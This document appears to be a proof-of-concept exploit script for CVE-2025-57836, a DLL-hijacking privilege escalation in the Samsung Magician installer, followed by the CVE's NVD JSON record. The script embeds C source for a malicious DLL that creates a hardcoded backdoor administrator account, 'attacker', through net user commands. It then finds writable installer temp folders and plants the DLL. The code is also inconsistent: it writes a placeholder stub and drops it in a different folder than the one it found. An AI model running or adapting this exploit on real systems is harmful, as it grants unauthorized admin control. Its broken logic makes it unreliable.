CVE-2025-57836

# CVE-2025-57836 PoC - Samsung Magician DLL Hijacking Privilege Escalation # Target: Samsung Magician 6.3.0 - 8.3.2 # Attack Vector: Exploit weak temporary folder permissions during installation import os import sys import time import shutil import subprocess import ctypes from pathlib import Path def create_malicious_dll(): """Generate malicious DLL that creates admin user""" dll_code = ''' #include <windows.h> #include <stdlib.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create new admin user: attacker/Attacker@123 system("net user attacker Attacker@123 /add"); system("net localgroup Administrators attacker /add"); // Alternatively, add to RDP users or create backdoor } return TRUE; } ''' # Note: In real attack, compile this to DLL # For demonstration, create placeholder dll_path = Path(os.environ['TEMP']) / 'SamsungTemp' / 'msvcr120.dll' dll_path.parent.mkdir(parents=True, exist_ok=True) with open(dll_path, 'wb') as f: f.write(b'MZ' + b'\x00' * 100) # Minimal DLL stub return str(dll_path) def find_weak_temp_folder(): """Identify Samsung Magician temporary folder with weak permissions""" temp_base = os.environ.get('TEMP', 'C:\\Windows\\Temp') search_patterns = ['Samsung', 'Magician', 'SAMSUNG', 'MAGICIAN'] for root, dirs, files in os.walk(temp_base): for d in dirs: for pattern in search_patterns: if pattern in d: folder_path = Path(root) / d # Check if low-privilege user can write try: test_file = folder_path / '.write_test' test_file.touch() test_file.unlink() return str(folder_path) except: continue return None def exploit(): """Main exploitation routine""" print("[*] CVE-2025-57836 Samsung Magician DLL Hijacking Exploit") print("[*] Searching for vulnerable temporary folder...") target_folder = find_weak_temp_folder() if not target_folder: print("[-] No vulnerable folder found. Ensure Magician installation is running.") return False print(f"[+] Found vulnerable folder: {target_folder}") print("[+] Dropping malicious DLL...") dll_path = create_malicious_dll() print(f"[+] Malicious DLL placed at: {dll_path}") print("[+] Waiting for process to load DLL...") # Wait for installation process to load the DLL time.sleep(30) # Verify privilege escalation result = subprocess.run('net user attacker', capture_output=True, text=True) if 'attacker' in result.stdout: print("[+] SUCCESS: Admin user 'attacker' created!") return True else: print("[-] Exploitation failed or pending") return False if __name__ == '__main__': if not ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as low-privilege user - ready to exploit") exploit()

{"cve": {"id": "CVE-2025-57836", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:45.877", "lastModified": "2026-01-30T01:26:48.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Samsung Magician 6.3.0 through 8.3.2 on Windows. The installer creates a temporary folder with weak permissions during installation, allowing a non-admin user to perform DLL hijacking and escalate privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:magician:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3.0", "versionEndIncluding": "8.3.2", "matchCriteriaId": "F95B778A-7924-411F-B9D4-0921FC9ED4BE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-57836/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}